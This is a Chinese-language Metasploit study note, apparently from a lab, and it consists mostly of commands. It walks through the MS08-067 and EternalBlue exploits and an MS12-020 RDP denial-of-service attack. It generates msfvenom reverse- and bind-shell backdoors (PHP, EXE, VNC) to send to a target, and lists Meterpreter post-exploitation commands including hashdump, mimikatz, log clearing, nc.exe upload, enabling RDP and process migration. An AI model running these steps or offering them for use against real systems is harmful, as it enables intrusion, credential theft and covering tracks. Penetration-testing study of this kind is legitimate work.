msf
show exploit
show payload
msf使用数据库加快搜索,不然每次都等半天
service postgresql start
msfdb reinit
msf > db_rebuild_cache
需要等待几分钟
查询漏洞对应的模块
use exploit/windows/smb/ms08_067_netapi
info 查看漏洞信息
show option 查看配置选项
set target 34 设置目标系统
set payload windows/meterpreter/reverse_tcp 设置攻击载荷
set lhost 192.168.137.128
set lport 444
攻击失败扫描目标主机是否存在漏洞、
利用nmap和数据库扫描主机
back 回到上一级目录
db_nmap 扫描系统,并且存储在postgrep数据库中
services 查看数据库扫描结果
vulns 查看漏洞主机
攻击失败原因是因为漏洞不存在,因此先扫描是否存在漏洞,再进行攻击
搜索2017漏洞
search选项
Keywords:
app : Modules that are client or server attacks
author : Modules written by this author
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
name : Modules with a matching descriptive name
platform : Modules affecting this platform
ref : Modules with a matching ref
type : Modules of a specific type (exploit, auxiliary, or post)
使用 ftp匿名登录扫描模块
auxiliary/scanner/ftp/anonymous
扫描发现metasploitable 是有ftp匿名登录的
使用ms17-010 永恒之蓝漏洞
首先使用分析模块发现主机是否存在漏洞
use auxiliary/scanner/smb/smb_ms17_010
Require 中 yes为必须设置的选项
show missing 查看必须设置的选项
windows系统 远程桌面拒绝服务漏洞
查看漏洞ms12-020对应得模块
使用第二个模块
use auxiliary/scanner/rdp/ms12_020_check
show missing
set rhost 192.168.137.130
扫描是否存在3389拒绝服务攻击(无视防火墙),扫描结果如下
使用第一个模块模块进行攻击
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
set RHOST 192.168.137.130
run
攻击结果
使用payload模块
使用正向模块,攻击者主动去连接目标机
use windows/meterpreter/bind_tcp
RHOST 不是必须的,因为只要到达payload到达对方,就会开启4444端口,可以使用generate 生产后门
-t 指定后缀
-f 指定输出文件名
然后把 a.exe 发给目标主机运行,这边msf run 监听就可以连接shell了
反向shell ,推荐使用这种,因为防火墙大部分都是限制了端口的
use windows/meterpreter/reverse_tcp
使用msfvenom 生成php后门
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.137.128 lport=444 -f raw -o a.php
后门利用
正向连接
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.137.1
run
反向连接
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.137.128
set LPORT 444
run
msfvenom 和 msfconsole里的 generate 是一样的,不过参数有变化
图形界面的后门
1 生成后门
msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.137.128 lport=444 -f exe -o vnc.exe
use exploit/multi/handler
set payload windows/vncinject/reverse_tcp
set lport 444
run
2.监听反弹shell
然后将vnc.exe发给目标主机,目标主机一旦运行,就可以获取图形界面了。这个界面只能看不能操作
如果想操作,再原来的模块,options中设置
set viewOnly FALSE
这个功能要在图形界面运行
meterpterShell
一个很强大的shell
运行在内存,避免硬盘读取操作被取证
传输加密
强大的扩展性可以装载 mimikatz等
[meterpreter命令] 可以使用linux的命令来管理windows系统
help 查看系统
background 转到后台进程运行,若有同时几个session连接,该命令很有用
clearev 清除目标的日志
execute 执行目标系统的程序
getprivs 查看当前系统权限
kill 同linux
reg 修改注册表
suspen 暂停进程
getuid 查看登录的用户
getsystem 提权到system用户
hashdump 获取hash值
screenshot 截屏
shell 进入DOS
idletime 查看空闲时间,如果时间比较长,表示目标主机暂时没有人操作
sysinfo 系统信息
getsid 当前服务用户ID
getpid 当前服务的进程号
ps linux格式查看进程
upload 上传文件
upload /usr/share/windows-binaries/nc.exe C:\\Users\\Administrator\\Desktop 上传nc文件,注意路径斜杠
download 下载文件
download 123.txt 默认当前路径是在桌面
getwd 获取远程主机当前目录
getlwd 查看当前攻击者主机的目录
run vnc 开启桌面监控
load espia 加载截屏模块
screengrab
load mimikatz 加载mimikatz模块
开启远程桌面
run post/windows/manage/enable_rdp
linux下连3389远程桌面
rdesktop 192.168.137.1
关闭远程桌面
通过执行meterpreter Script脚本
/root/.msf4/loot/20180118112336_default_192.168.137.1_host.windows.cle_168896.txt 该文件名是通过在执行开启3389时会显示出来的
转移进程:如果后门进程被kill了,那么我们的meterpreter也会被kill掉
使用migrate转移进程,首先提权
getsystem
migrate -N explorer.exe 转移到桌面进程
在hanlder模块里
show advanced 查看高级选项
set autorunscript migrate -N explorer.exe 一旦session 连接成功自动运行脚本 转移进程号
两个感叹号中,官方建议不要使用meterpreter的 migrate 而是单独使用模块 post/windows/manage/migrate 来执行
导入漏洞利用代码,永恒之蓝
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
要确保WINEPATH ETERNALBLUEPATH DOUBLEPULSARPATH 三个目录的路径是正确的
.wine需要首次运行一个windows程序才会生成
成功拿到xp的shell
kali更新源因秘钥无法apt-get update错误
https://blog.csdn.net/boy668866/article/details/79631608
查看当前时间是否正确